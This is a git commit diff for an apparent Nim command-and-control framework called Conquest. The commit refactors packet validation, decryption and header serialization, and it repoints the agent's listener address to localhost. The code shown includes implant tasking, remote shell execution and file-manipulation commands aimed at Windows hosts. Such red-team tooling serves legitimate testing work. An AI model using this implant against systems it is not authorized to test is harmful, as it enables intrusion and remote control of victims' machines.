Cleaned up parts of the serialization by removing redundant code.
This commit is contained in:
@@ -38,6 +38,6 @@ proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte]
|
|||||||
request.header.gmac = gmac
|
request.header.gmac = gmac
|
||||||
|
|
||||||
# Serialize header
|
# Serialize header
|
||||||
let header = packer.packHeader(request.header, uint32(encData.len))
|
let header = packer.serializeHeader(request.header, uint32(encData.len))
|
||||||
|
|
||||||
return header & encData
|
return header & encData
|
||||||
@@ -248,7 +248,7 @@ proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistration
|
|||||||
data.header.gmac = gmac
|
data.header.gmac = gmac
|
||||||
|
|
||||||
# Serialize header
|
# Serialize header
|
||||||
let header = packer.packHeader(data.header, uint32(encData.len))
|
let header = packer.serializeHeader(data.header, uint32(encData.len))
|
||||||
packer.reset()
|
packer.reset()
|
||||||
|
|
||||||
# Serialize the agent's public key to add it to the header
|
# Serialize the agent's public key to add it to the header
|
||||||
|
|||||||
@@ -13,26 +13,14 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
|
|||||||
|
|
||||||
var unpacker = initUnpacker(bytes.toString)
|
var unpacker = initUnpacker(bytes.toString)
|
||||||
|
|
||||||
let header = unpacker.unpackHeader()
|
let header = unpacker.deserializeHeader()
|
||||||
|
|
||||||
# Packet Validation
|
# Packet Validation
|
||||||
if header.magic != MAGIC:
|
validatePacket(header, cast[uint8](MSG_TASK))
|
||||||
raise newException(CatchableError, "Invalid magic bytes.")
|
|
||||||
|
|
||||||
if header.packetType != cast[uint8](MSG_TASK):
|
|
||||||
raise newException(CatchableError, "Invalid packet type.")
|
|
||||||
|
|
||||||
# Validate sequence number
|
|
||||||
if not validateSequence(header.agentId, header.seqNr, header.packetType):
|
|
||||||
raise newException(CatchableError, "Invalid sequence number.")
|
|
||||||
|
|
||||||
# Decrypt payload
|
# Decrypt payload
|
||||||
let payload = unpacker.getBytes(int(header.size))
|
let payload = unpacker.getBytes(int(header.size))
|
||||||
|
let decData= validateDecryption(config.sessionKey, header.iv, payload, header.seqNr, header)
|
||||||
let (decData, gmac) = decrypt(config.sessionKey, header.iv, payload, header.seqNr)
|
|
||||||
|
|
||||||
if gmac != header.gmac:
|
|
||||||
raise newException(CatchableError, "Invalid authentication tag (GMAC) for task.")
|
|
||||||
|
|
||||||
# Deserialize decrypted data
|
# Deserialize decrypted data
|
||||||
unpacker = initUnpacker(decData.toString)
|
unpacker = initUnpacker(decData.toString)
|
||||||
|
|||||||
@@ -51,6 +51,6 @@ proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[
|
|||||||
taskResult.header.gmac = gmac
|
taskResult.header.gmac = gmac
|
||||||
|
|
||||||
# Serialize header
|
# Serialize header
|
||||||
let header = packer.packHeader(taskResult.header, uint32(encData.len))
|
let header = packer.serializeHeader(taskResult.header, uint32(encData.len))
|
||||||
|
|
||||||
return header & encData
|
return header & encData
|
||||||
@@ -1,9 +1,9 @@
|
|||||||
# Agent configuration
|
# Agent configuration
|
||||||
-d:ListenerUuid="1842337B"
|
-d:ListenerUuid="D3AC0FF3"
|
||||||
-d:Octet1="172"
|
-d:Octet1="127"
|
||||||
-d:Octet2="29"
|
-d:Octet2="0"
|
||||||
-d:Octet3="177"
|
-d:Octet3="0"
|
||||||
-d:Octet4="43"
|
-d:Octet4="1"
|
||||||
-d:ListenerPort=8080
|
-d:ListenerPort=9999
|
||||||
-d:SleepDelay=3
|
-d:SleepDelay=3
|
||||||
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
|
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
|
||||||
|
|||||||
@@ -44,6 +44,15 @@ proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64): (se
|
|||||||
|
|
||||||
return (data, tag)
|
return (data, tag)
|
||||||
|
|
||||||
|
proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64, header: Header): seq[byte] =
|
||||||
|
|
||||||
|
let (decData, gmac) = decrypt(key, iv, encData, sequenceNumber)
|
||||||
|
|
||||||
|
if gmac != header.gmac:
|
||||||
|
raise newException(CatchableError, "Invalid authentication tag.")
|
||||||
|
|
||||||
|
return decData
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Key exchange using X25519 and Blake2b
|
Key exchange using X25519 and Blake2b
|
||||||
Elliptic curve cryptography ensures that the actual session key is never sent over the network
|
Elliptic curve cryptography ensures that the actual session key is never sent over the network
|
||||||
@@ -148,4 +157,3 @@ proc loadKeyPair*(keyFile: string): KeyPair =
|
|||||||
let keyPair = generateKeyPair()
|
let keyPair = generateKeyPair()
|
||||||
writeKeyToDisk(keyFile, keyPair.privateKey)
|
writeKeyToDisk(keyFile, keyPair.privateKey)
|
||||||
return keyPair
|
return keyPair
|
||||||
|
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ proc nextSequence*(agentId: uint32): uint64 =
|
|||||||
sequenceTable[agentId] = sequenceTable.getOrDefault(agentId, 0'u64) + 1
|
sequenceTable[agentId] = sequenceTable.getOrDefault(agentId, 0'u64) + 1
|
||||||
return sequenceTable[agentId]
|
return sequenceTable[agentId]
|
||||||
|
|
||||||
proc validateSequence*(agentId: uint32, seqNr: uint64, packetType: uint8): bool =
|
proc validateSequence(agentId: uint32, seqNr: uint64, packetType: uint8): bool =
|
||||||
let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u64)
|
let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u64)
|
||||||
|
|
||||||
# Heartbeat messages are not used for sequence tracking
|
# Heartbeat messages are not used for sequence tracking
|
||||||
@@ -26,3 +26,17 @@ proc validateSequence*(agentId: uint32, seqNr: uint64, packetType: uint8): bool
|
|||||||
# Update sequence number
|
# Update sequence number
|
||||||
sequenceTable[agentId] = seqNr
|
sequenceTable[agentId] = seqNr
|
||||||
return true
|
return true
|
||||||
|
|
||||||
|
proc validatePacket*(header: Header, expectedType: uint8) =
|
||||||
|
|
||||||
|
# Validate magic number
|
||||||
|
if header.magic != MAGIC:
|
||||||
|
raise newException(CatchableError, "Invalid magic bytes.")
|
||||||
|
|
||||||
|
# Validate packet type
|
||||||
|
if header.packetType != expectedType:
|
||||||
|
raise newException(CatchableError, "Invalid packet type.")
|
||||||
|
|
||||||
|
# Validate sequence number
|
||||||
|
if not validateSequence(header.agentId, header.seqNr, header.packetType):
|
||||||
|
raise newException(CatchableError, "Invalid sequence number.")
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import streams, strutils
|
import streams, strutils, tables
|
||||||
import ./[types, utils]
|
import ./[types, utils, crypto, sequence]
|
||||||
type
|
type
|
||||||
Packer* = ref object
|
Packer* = ref object
|
||||||
stream: StringStream
|
stream: StringStream
|
||||||
@@ -17,9 +17,8 @@ proc addData*(packer: Packer, data: openArray[byte]): Packer {.discardable.} =
|
|||||||
return packer
|
return packer
|
||||||
|
|
||||||
proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
|
proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
|
||||||
|
|
||||||
if arg.data.len <= 0:
|
|
||||||
# Optional argument was passed as "", ignore
|
# Optional argument was passed as "", ignore
|
||||||
|
if arg.data.len <= 0:
|
||||||
return
|
return
|
||||||
|
|
||||||
packer.add(arg.argType)
|
packer.add(arg.argType)
|
||||||
@@ -34,7 +33,6 @@ proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
|
|||||||
return packer
|
return packer
|
||||||
|
|
||||||
proc addVarLengthMetadata*(packer: Packer, metadata: seq[byte]): Packer {.discardable.} =
|
proc addVarLengthMetadata*(packer: Packer, metadata: seq[byte]): Packer {.discardable.} =
|
||||||
|
|
||||||
# Add length of metadata field
|
# Add length of metadata field
|
||||||
packer.add(cast[uint32](metadata.len))
|
packer.add(cast[uint32](metadata.len))
|
||||||
|
|
||||||
@@ -160,7 +158,8 @@ proc getVarLengthMetadata*(unpacker: Unpacker): string =
|
|||||||
# Read content
|
# Read content
|
||||||
return unpacker.getBytes(int(length)).toString()
|
return unpacker.getBytes(int(length)).toString()
|
||||||
|
|
||||||
proc packHeader*(packer: Packer, header: Header, bodySize: uint32): seq[byte] =
|
# Serialization & Deserialization functions
|
||||||
|
proc serializeHeader*(packer: Packer, header: Header, bodySize: uint32): seq[byte] =
|
||||||
packer
|
packer
|
||||||
.add(header.magic)
|
.add(header.magic)
|
||||||
.add(header.version)
|
.add(header.version)
|
||||||
@@ -174,7 +173,7 @@ proc packHeader*(packer: Packer, header: Header, bodySize: uint32): seq[byte] =
|
|||||||
|
|
||||||
return packer.pack()
|
return packer.pack()
|
||||||
|
|
||||||
proc unpackHeader*(unpacker: Unpacker): Header=
|
proc deserializeHeader*(unpacker: Unpacker): Header=
|
||||||
return Header(
|
return Header(
|
||||||
magic: unpacker.getUint32(),
|
magic: unpacker.getUint32(),
|
||||||
version: unpacker.getUint8(),
|
version: unpacker.getUint8(),
|
||||||
@@ -186,3 +185,4 @@ proc unpackHeader*(unpacker: Unpacker): Header=
|
|||||||
iv: unpacker.getIv(),
|
iv: unpacker.getIv(),
|
||||||
gmac: unpacker.getAuthenticationTag()
|
gmac: unpacker.getAuthenticationTag()
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1,6 +1,90 @@
|
|||||||
import ./manager
|
import ./manager
|
||||||
import ../common/[types, utils]
|
import ../common/[types, utils]
|
||||||
|
|
||||||
|
# Define function prototypes
|
||||||
|
proc executePwd(config: AgentConfig, task: Task): TaskResult
|
||||||
|
proc executeCd(config: AgentConfig, task: Task): TaskResult
|
||||||
|
proc executeDir(config: AgentConfig, task: Task): TaskResult
|
||||||
|
proc executeRm(config: AgentConfig, task: Task): TaskResult
|
||||||
|
proc executeRmdir(config: AgentConfig, task: Task): TaskResult
|
||||||
|
proc executeMove(config: AgentConfig, task: Task): TaskResult
|
||||||
|
proc executeCopy(config: AgentConfig, task: Task): TaskResult
|
||||||
|
|
||||||
|
# Command definitions
|
||||||
|
let commands* = @[
|
||||||
|
Command(
|
||||||
|
name: "pwd",
|
||||||
|
commandType: CMD_PWD,
|
||||||
|
description: "Retrieve current working directory.",
|
||||||
|
example: "pwd",
|
||||||
|
arguments: @[],
|
||||||
|
execute: executePwd
|
||||||
|
),
|
||||||
|
Command(
|
||||||
|
name: "cd",
|
||||||
|
commandType: CMD_CD,
|
||||||
|
description: "Change current working directory.",
|
||||||
|
example: "cd C:\\Windows\\Tasks",
|
||||||
|
arguments: @[
|
||||||
|
Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true)
|
||||||
|
],
|
||||||
|
execute: executeCd
|
||||||
|
),
|
||||||
|
Command(
|
||||||
|
name: "ls",
|
||||||
|
commandType: CMD_LS,
|
||||||
|
description: "List files and directories.",
|
||||||
|
example: "ls C:\\Users\\Administrator\\Desktop",
|
||||||
|
arguments: @[
|
||||||
|
Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false)
|
||||||
|
],
|
||||||
|
execute: executeDir
|
||||||
|
),
|
||||||
|
Command(
|
||||||
|
name: "rm",
|
||||||
|
commandType: CMD_RM,
|
||||||
|
description: "Remove a file.",
|
||||||
|
example: "rm C:\\Windows\\Tasks\\payload.exe",
|
||||||
|
arguments: @[
|
||||||
|
Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true)
|
||||||
|
],
|
||||||
|
execute: executeRm
|
||||||
|
),
|
||||||
|
Command(
|
||||||
|
name: "rmdir",
|
||||||
|
commandType: CMD_RMDIR,
|
||||||
|
description: "Remove a directory.",
|
||||||
|
example: "rm C:\\Payloads",
|
||||||
|
arguments: @[
|
||||||
|
Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true)
|
||||||
|
],
|
||||||
|
execute: executeRmdir
|
||||||
|
),
|
||||||
|
Command(
|
||||||
|
name: "move",
|
||||||
|
commandType: CMD_MOVE,
|
||||||
|
description: "Move a file or directory.",
|
||||||
|
example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
|
||||||
|
arguments: @[
|
||||||
|
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
|
||||||
|
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
|
||||||
|
],
|
||||||
|
execute: executeMove
|
||||||
|
),
|
||||||
|
Command(
|
||||||
|
name: "copy",
|
||||||
|
commandType: CMD_COPY,
|
||||||
|
description: "Copy a file or directory.",
|
||||||
|
example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
|
||||||
|
arguments: @[
|
||||||
|
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
|
||||||
|
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
|
||||||
|
],
|
||||||
|
execute: executeCopy
|
||||||
|
)
|
||||||
|
]
|
||||||
|
|
||||||
|
# Implementation of the execution functions
|
||||||
when defined(server):
|
when defined(server):
|
||||||
proc executePwd(config: AgentConfig, task: Task): TaskResult = nil
|
proc executePwd(config: AgentConfig, task: Task): TaskResult = nil
|
||||||
proc executeCd(config: AgentConfig, task: Task): TaskResult = nil
|
proc executeCd(config: AgentConfig, task: Task): TaskResult = nil
|
||||||
@@ -10,7 +94,6 @@ when defined(server):
|
|||||||
proc executeMove(config: AgentConfig, task: Task): TaskResult = nil
|
proc executeMove(config: AgentConfig, task: Task): TaskResult = nil
|
||||||
proc executeCopy(config: AgentConfig, task: Task): TaskResult = nil
|
proc executeCopy(config: AgentConfig, task: Task): TaskResult = nil
|
||||||
|
|
||||||
# Implementation of the execution functions
|
|
||||||
when defined(agent):
|
when defined(agent):
|
||||||
|
|
||||||
import os, strutils, strformat, times, algorithm, winim
|
import os, strutils, strformat, times, algorithm, winim
|
||||||
@@ -280,78 +363,3 @@ when defined(agent):
|
|||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||||
|
|
||||||
|
|
||||||
# Command definitions
|
|
||||||
let commands* = @[
|
|
||||||
Command(
|
|
||||||
name: "pwd",
|
|
||||||
commandType: CMD_PWD,
|
|
||||||
description: "Retrieve current working directory.",
|
|
||||||
example: "pwd",
|
|
||||||
arguments: @[],
|
|
||||||
execute: executePwd
|
|
||||||
),
|
|
||||||
Command(
|
|
||||||
name: "cd",
|
|
||||||
commandType: CMD_CD,
|
|
||||||
description: "Change current working directory.",
|
|
||||||
example: "cd C:\\Windows\\Tasks",
|
|
||||||
arguments: @[
|
|
||||||
Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true)
|
|
||||||
],
|
|
||||||
execute: executeCd
|
|
||||||
),
|
|
||||||
Command(
|
|
||||||
name: "ls",
|
|
||||||
commandType: CMD_LS,
|
|
||||||
description: "List files and directories.",
|
|
||||||
example: "ls C:\\Users\\Administrator\\Desktop",
|
|
||||||
arguments: @[
|
|
||||||
Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false)
|
|
||||||
],
|
|
||||||
execute: executeDir
|
|
||||||
),
|
|
||||||
Command(
|
|
||||||
name: "rm",
|
|
||||||
commandType: CMD_RM,
|
|
||||||
description: "Remove a file.",
|
|
||||||
example: "rm C:\\Windows\\Tasks\\payload.exe",
|
|
||||||
arguments: @[
|
|
||||||
Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true)
|
|
||||||
],
|
|
||||||
execute: executeRm
|
|
||||||
),
|
|
||||||
Command(
|
|
||||||
name: "rmdir",
|
|
||||||
commandType: CMD_RMDIR,
|
|
||||||
description: "Remove a directory.",
|
|
||||||
example: "rm C:\\Payloads",
|
|
||||||
arguments: @[
|
|
||||||
Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true)
|
|
||||||
],
|
|
||||||
execute: executeRmdir
|
|
||||||
),
|
|
||||||
Command(
|
|
||||||
name: "move",
|
|
||||||
commandType: CMD_MOVE,
|
|
||||||
description: "Move a file or directory.",
|
|
||||||
example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
|
|
||||||
arguments: @[
|
|
||||||
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
|
|
||||||
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
|
|
||||||
],
|
|
||||||
execute: executeMove
|
|
||||||
),
|
|
||||||
Command(
|
|
||||||
name: "copy",
|
|
||||||
commandType: CMD_COPY,
|
|
||||||
description: "Copy a file or directory.",
|
|
||||||
example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
|
|
||||||
arguments: @[
|
|
||||||
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
|
|
||||||
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
|
|
||||||
],
|
|
||||||
execute: executeCopy
|
|
||||||
)
|
|
||||||
]
|
|
||||||
@@ -1,10 +1,28 @@
|
|||||||
import ./manager
|
import ./manager
|
||||||
import ../common/[types, utils]
|
import ../common/[types, utils]
|
||||||
|
|
||||||
|
# Define function prototype
|
||||||
|
proc executeShell(config: AgentConfig, task: Task): TaskResult
|
||||||
|
|
||||||
|
# Command definition (as seq[Command])
|
||||||
|
let commands*: seq[Command] = @[
|
||||||
|
Command(
|
||||||
|
name: "shell",
|
||||||
|
commandType: CMD_SHELL,
|
||||||
|
description: "Execute a shell command and retrieve the output.",
|
||||||
|
example: "shell whoami /all",
|
||||||
|
arguments: @[
|
||||||
|
Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true),
|
||||||
|
Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false)
|
||||||
|
],
|
||||||
|
execute: executeShell
|
||||||
|
)
|
||||||
|
]
|
||||||
|
|
||||||
|
# Implement execution functions
|
||||||
when defined(server):
|
when defined(server):
|
||||||
proc executeShell(config: AgentConfig, task: Task): TaskResult = nil
|
proc executeShell(config: AgentConfig, task: Task): TaskResult = nil
|
||||||
|
|
||||||
# Implement execution functions
|
|
||||||
when defined(agent):
|
when defined(agent):
|
||||||
|
|
||||||
import ../agent/core/taskresult
|
import ../agent/core/taskresult
|
||||||
@@ -38,18 +56,3 @@ when defined(agent):
|
|||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||||
|
|
||||||
# Command definition (as seq[Command])
|
|
||||||
let commands*: seq[Command] = @[
|
|
||||||
Command(
|
|
||||||
name: "shell",
|
|
||||||
commandType: CMD_SHELL,
|
|
||||||
description: "Execute a shell command and retrieve the output.",
|
|
||||||
example: "shell whoami /all",
|
|
||||||
arguments: @[
|
|
||||||
Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true),
|
|
||||||
Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false)
|
|
||||||
],
|
|
||||||
execute: executeShell
|
|
||||||
)
|
|
||||||
]
|
|
||||||
@@ -1,10 +1,27 @@
|
|||||||
import ./manager
|
import ./manager
|
||||||
import ../common/[types, utils]
|
import ../common/[types, utils]
|
||||||
|
|
||||||
|
# Define function prototype
|
||||||
|
proc executeSleep(config: AgentConfig, task: Task): TaskResult
|
||||||
|
|
||||||
|
# Command definition (as seq[Command])
|
||||||
|
let commands* = @[
|
||||||
|
Command(
|
||||||
|
name: "sleep",
|
||||||
|
commandType: CMD_SLEEP,
|
||||||
|
description: "Update sleep delay configuration.",
|
||||||
|
example: "sleep 5",
|
||||||
|
arguments: @[
|
||||||
|
Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
|
||||||
|
],
|
||||||
|
execute: executeSleep
|
||||||
|
)
|
||||||
|
]
|
||||||
|
|
||||||
|
# Implement execution functions
|
||||||
when defined(server):
|
when defined(server):
|
||||||
proc executeSleep(config: AgentConfig, task: Task): TaskResult = nil
|
proc executeSleep(config: AgentConfig, task: Task): TaskResult = nil
|
||||||
|
|
||||||
# Implement execution functions
|
|
||||||
when defined(agent):
|
when defined(agent):
|
||||||
|
|
||||||
import os, strutils, strformat
|
import os, strutils, strformat
|
||||||
@@ -26,18 +43,3 @@ when defined(agent):
|
|||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||||
|
|
||||||
|
|
||||||
# Command definition (as seq[Command])
|
|
||||||
let commands* = @[
|
|
||||||
Command(
|
|
||||||
name: "sleep",
|
|
||||||
commandType: CMD_SLEEP,
|
|
||||||
description: "Update sleep delay configuration.",
|
|
||||||
example: "sleep 5",
|
|
||||||
arguments: @[
|
|
||||||
Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
|
|
||||||
],
|
|
||||||
execute: executeSleep
|
|
||||||
)
|
|
||||||
]
|
|
||||||
@@ -2,7 +2,7 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, sys
|
|||||||
|
|
||||||
import ../[utils, globals]
|
import ../[utils, globals]
|
||||||
import ../db/database
|
import ../db/database
|
||||||
import ../task/packer
|
import ../message/packer
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils]
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -58,11 +58,9 @@ proc getTasks*(checkinData: seq[byte]): seq[seq[byte]] =
|
|||||||
|
|
||||||
# Update the last check-in date for the accessed agent
|
# Update the last check-in date for the accessed agent
|
||||||
cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local()
|
cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local()
|
||||||
# if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")):
|
|
||||||
# return nil
|
|
||||||
|
|
||||||
# Return tasks
|
# Return tasks
|
||||||
for task in cq.agents[agentId].tasks.mitems: # Iterate over mutable items in order to modify GMAC
|
for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag
|
||||||
let taskData = cq.serializeTask(task)
|
let taskData = cq.serializeTask(task)
|
||||||
result.add(taskData)
|
result.add(taskData)
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
import terminal, strformat, strutils, tables, times, system, osproc, streams, base64
|
import terminal, strformat, strutils, tables, times, system, osproc, streams, base64
|
||||||
|
|
||||||
|
import ./task
|
||||||
import ../utils
|
import ../utils
|
||||||
import ../task/dispatcher
|
|
||||||
import ../db/database
|
import ../db/database
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils]
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
import times, strformat, terminal, tables, json, sequtils, strutils
|
import times, strformat, terminal, tables, json, sequtils, strutils
|
||||||
import ./[parser]
|
|
||||||
import ../utils
|
import ../utils
|
||||||
|
import ../message/parser
|
||||||
import ../../modules/manager
|
import ../../modules/manager
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils]
|
||||||
|
|
||||||
@@ -72,7 +73,7 @@ proc handleAgentCommand*(cq: Conquest, input: string) =
|
|||||||
try:
|
try:
|
||||||
let
|
let
|
||||||
command = getCommandByName(parsedArgs[0])
|
command = getCommandByName(parsedArgs[0])
|
||||||
task = cq.parseTask(command, parsedArgs[1..^1])
|
task = cq.createTask(command, parsedArgs[1..^1])
|
||||||
|
|
||||||
# Add task to queue
|
# Add task to queue
|
||||||
cq.interactAgent.tasks.add(task)
|
cq.interactAgent.tasks.add(task)
|
||||||
@@ -27,7 +27,7 @@ proc serializeTask*(cq: Conquest, task: var Task): seq[byte] =
|
|||||||
task.header.gmac = gmac
|
task.header.gmac = gmac
|
||||||
|
|
||||||
# Serialize header
|
# Serialize header
|
||||||
let header = packer.packHeader(task.header, uint32(payload.len))
|
let header = packer.serializeHeader(task.header, uint32(payload.len))
|
||||||
|
|
||||||
return header & encData
|
return header & encData
|
||||||
|
|
||||||
@@ -35,27 +35,14 @@ proc deserializeTaskResult*(cq: Conquest, resultData: seq[byte]): TaskResult =
|
|||||||
|
|
||||||
var unpacker = initUnpacker(resultData.toString)
|
var unpacker = initUnpacker(resultData.toString)
|
||||||
|
|
||||||
let header = unpacker.unpackHeader()
|
let header = unpacker.deserializeHeader()
|
||||||
|
|
||||||
# Packet Validation
|
# Packet Validation
|
||||||
if header.magic != MAGIC:
|
validatePacket(header, cast[uint8](MSG_RESPONSE))
|
||||||
raise newException(CatchableError, "Invalid magic bytes.")
|
|
||||||
|
|
||||||
if header.packetType != cast[uint8](MSG_RESPONSE):
|
|
||||||
raise newException(CatchableError, "Invalid packet type for task result, expected MSG_RESPONSE.")
|
|
||||||
|
|
||||||
# Validate sequence number
|
|
||||||
if not validateSequence(header.agentId, header.seqNr, header.packetType):
|
|
||||||
raise newException(CatchableError, "Invalid sequence number.")
|
|
||||||
|
|
||||||
# Decrypt payload
|
# Decrypt payload
|
||||||
let payload = unpacker.getBytes(int(header.size))
|
let payload = unpacker.getBytes(int(header.size))
|
||||||
|
let decData= validateDecryption(cq.agents[uuidToString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header)
|
||||||
let (decData, gmac) = decrypt(cq.agents[uuidToString(header.agentId)].sessionKey, header.iv, payload, header.seqNr)
|
|
||||||
|
|
||||||
# Verify that the authentication tags match, which ensures the integrity of the decrypted data and AAD
|
|
||||||
if gmac != header.gmac:
|
|
||||||
raise newException(CatchableError, "Invalid authentication tag (GMAC) for task result.")
|
|
||||||
|
|
||||||
# Deserialize decrypted data
|
# Deserialize decrypted data
|
||||||
unpacker = initUnpacker(decData.toString)
|
unpacker = initUnpacker(decData.toString)
|
||||||
@@ -86,18 +73,10 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
|
|||||||
|
|
||||||
var unpacker = initUnpacker(data.toString)
|
var unpacker = initUnpacker(data.toString)
|
||||||
|
|
||||||
let header= unpacker.unpackHeader()
|
let header= unpacker.deserializeHeader()
|
||||||
|
|
||||||
# Packet Validation
|
# Packet Validation
|
||||||
if header.magic != MAGIC:
|
validatePacket(header, cast[uint8](MSG_REGISTER))
|
||||||
raise newException(CatchableError, "Invalid magic bytes.")
|
|
||||||
|
|
||||||
if header.packetType != cast[uint8](MSG_REGISTER):
|
|
||||||
raise newException(CatchableError, "Invalid packet type for agent registration, expected MSG_REGISTER.")
|
|
||||||
|
|
||||||
# Validate sequence number
|
|
||||||
if not validateSequence(header.agentId, header.seqNr, header.packetType):
|
|
||||||
raise newException(CatchableError, "Invalid sequence number.")
|
|
||||||
|
|
||||||
# Key exchange
|
# Key exchange
|
||||||
let agentPublicKey = unpacker.getKey()
|
let agentPublicKey = unpacker.getKey()
|
||||||
@@ -105,11 +84,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
|
|||||||
|
|
||||||
# Decrypt payload
|
# Decrypt payload
|
||||||
let payload = unpacker.getBytes(int(header.size))
|
let payload = unpacker.getBytes(int(header.size))
|
||||||
let (decData, gmac) = decrypt(sessionKey, header.iv, payload, header.seqNr)
|
let decData= validateDecryption(sessionKey, header.iv, payload, header.seqNr, header)
|
||||||
|
|
||||||
# Verify that the authentication tags match, which ensures the integrity of the decrypted data and AAD
|
|
||||||
if gmac != header.gmac:
|
|
||||||
raise newException(CatchableError, "Invalid authentication tag (GMAC) for agent registration.")
|
|
||||||
|
|
||||||
# Deserialize decrypted data
|
# Deserialize decrypted data
|
||||||
unpacker = initUnpacker(decData.toString)
|
unpacker = initUnpacker(decData.toString)
|
||||||
@@ -148,26 +123,14 @@ proc deserializeHeartbeat*(cq: Conquest, data: seq[byte]): Heartbeat =
|
|||||||
|
|
||||||
var unpacker = initUnpacker(data.toString)
|
var unpacker = initUnpacker(data.toString)
|
||||||
|
|
||||||
let header = unpacker.unpackHeader()
|
let header = unpacker.deserializeHeader()
|
||||||
|
|
||||||
# Packet Validation
|
# Packet Validation
|
||||||
if header.magic != MAGIC:
|
validatePacket(header, cast[uint8](MSG_HEARTBEAT))
|
||||||
raise newException(CatchableError, "Invalid magic bytes.")
|
|
||||||
|
|
||||||
if header.packetType != cast[uint8](MSG_HEARTBEAT):
|
|
||||||
raise newException(CatchableError, "Invalid packet type for checkin request, expected MSG_HEARTBEAT.")
|
|
||||||
|
|
||||||
# Validate sequence number
|
|
||||||
if not validateSequence(header.agentId, header.seqNr, header.packetType):
|
|
||||||
raise newException(CatchableError, "Invalid sequence number.")
|
|
||||||
|
|
||||||
# Decrypt payload
|
# Decrypt payload
|
||||||
let payload = unpacker.getBytes(int(header.size))
|
let payload = unpacker.getBytes(int(header.size))
|
||||||
let (decData, gmac) = decrypt(cq.agents[uuidToString(header.agentId)].sessionKey, header.iv, payload, header.seqNr)
|
let decData= validateDecryption(cq.agents[uuidToString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header)
|
||||||
|
|
||||||
# Verify that the authentication tags match, which ensures the integrity of the decrypted data and AAD
|
|
||||||
if gmac != header.gmac:
|
|
||||||
raise newException(CatchableError, "Invalid authentication tag (GMAC) for heartbeat.")
|
|
||||||
|
|
||||||
# Deserialize decrypted data
|
# Deserialize decrypted data
|
